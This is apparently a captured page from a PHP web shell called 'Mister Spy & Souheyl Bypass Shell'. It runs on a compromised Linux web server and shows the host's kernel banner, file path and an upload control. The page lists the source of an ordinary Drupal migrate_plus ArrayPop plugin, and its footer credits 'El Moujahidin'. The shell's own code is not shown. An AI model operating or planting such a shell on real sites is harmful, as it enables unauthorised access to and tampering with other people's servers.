Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html_old/abg/web/modules/contrib/migrate_plus/src/Plugin/migrate/process/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html_old/abg/web/modules/contrib/migrate_plus/src/Plugin/migrate/process/ArrayPop.php

<?php

namespace Drupal\migrate_plus\Plugin\migrate\process;

use Drupal\migrate\MigrateException;
use Drupal\migrate\MigrateExecutableInterface;
use Drupal\migrate\ProcessPluginBase;
use Drupal\migrate\Row;

/**
 * Performs an array_pop() on a source array.
 *
 * @MigrateProcessPlugin(
 *   id = "array_pop",
 *   handle_multiples = TRUE
 * )
 *
 * The "extract" plugin in core can extract array values when indexes are
 * already known. This plugin helps extract the last value in an array by
 * performing a "pop" operation.
 *
 * Example: Say, the migration source has an associative array of names in
 * a property called "authors" and the keys in the array can vary, you
 * can extract the last value like this:
 *
 * @code
 *   last_author:
 *     plugin: array_pop
 *     source: authors
 * @endcode
 */
class ArrayPop extends ProcessPluginBase {

  /**
   * {@inheritdoc}
   */
  public function transform($value, MigrateExecutableInterface $migrate_executable, Row $row, $destination_property) {
    if (!is_array($value)) {
      throw new MigrateException('Input should be an array.');
    }
    return array_pop($value);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net